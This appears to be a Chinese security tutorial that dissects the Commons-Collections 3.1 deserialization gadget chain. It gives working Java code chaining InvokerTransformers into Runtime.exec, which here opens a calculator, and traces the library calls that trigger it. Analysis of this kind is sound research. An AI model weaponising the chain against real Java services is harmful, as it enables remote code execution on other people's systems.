Commons-collections漏洞
0x01 POP调用链
版本:Commons-Collections3.1
下为Commons-Collections反序列实例代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class VulTest {
public static void main(String[] args){
Transformer transformer=new InvokerTransformer(
"append",
new Class[]{String.class},
new Object[]{"exploitcat?"});
Object newObject=transformer.transform(new StringBuffer("your name is "));
System.out.println(newObject);
}
}
输入结果为:your name is exploitcat?
很明显调用了append方法将两个字符串进行拼接,让我们来分析代码,首先声明了一个transformer的引用,查看Transformer这个类代码为:
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
刚开始没看懂=-=,这是定义的一个名为Transformer的接口类,其中声明了一个返回类型为Object的transform函数,接收参数为Object对象。
InvokerTransformer为Transformer的一个子类,此处新建了一个InvokerTransformer类的实例,以此传入了append、new Class[]{String.class}、new Object[]{"exploitcat?"}三个参数。
接下来进入InvokerTransformer这个类,发现当接收参数为这三个参数时,构造函数实现的功能为预设这三个参数的值,即:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
Object newObject即新建一个对象引用,而transformer.transform(new StringBuffer("your name is ")),Java中String也是一个类,所以new StringBuffer("your name is ")为一个类对象,transform这个方法为继承父类Transformer的transform方法重写为:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
根据前面获得的三个参数的值,在此处利用反射调用了String类的append方法,将两个字符串进行拼接。
下为另一处Commons-Collections反序列化漏洞示例代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class VulChain {
public static void main(String[] args){
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open /Applications/Calculator.app"})
};
Transformer chain=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
innerMap.put("name","hello");
Map outerMap= TransformedMap.decorate(innerMap,null,chain);
Map.Entry elEntry=(Map.Entry) outerMap.entrySet().iterator().next();
elEntry.setValue("hello");
}
}
在VulChain这个类中声明首先声明了一个Transformer类型对象数组transformers,放了ConstantTransformer与InvokerTransFormer两种对象。
Transformer chain=new ChainedTransformer(transformers);则是传入一个transformers参数新建了一个Transformer类型的引用,进入ChainedTransformer这个类查看构造函数
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
其主要作用为将transformers赋给自己的属性iTransformers.
下面的innerMap类型主要是为了后面的decorate方法传参,不用过多在意。
而Map outerMap= TransformedMap.decorate(innerMap,null,chain);
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
decorate方法返回了一个TransformedMap对象,在TransforedMap构造函数将valueTransformer=chain
elEntry.setValue("hello");中我们查看setValue函数声明,在AbstractInputCheckedMapDecorator这个类中:
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
而checkSetValue在TransformerMap中:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
而ChainedTransformer中transform方法为:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
InvokerTransformer中transform方法为:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
在for循环中i、iTransformers[i]、object值分别为:
i | iTransformers[i] | Object |
---|---|---|
0 | ConstantTransformer(Runtime.class) | "hello" |
1 | InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}) | Runtime.class |
2 | InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}) | Runtime.class.getRuntime |
3 | InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"}) | Runtime.class.getRuntime.invoke(null,null) |
最终构成调用链:Runtime.class.getRuntime.invoke(null,null).exec('open /Applications/Calculator.app')
0x02反序列化利用
上面找到了POP利用链,现在我们只需要一个反序列化利用点,就可以构造好的Payload利用出去。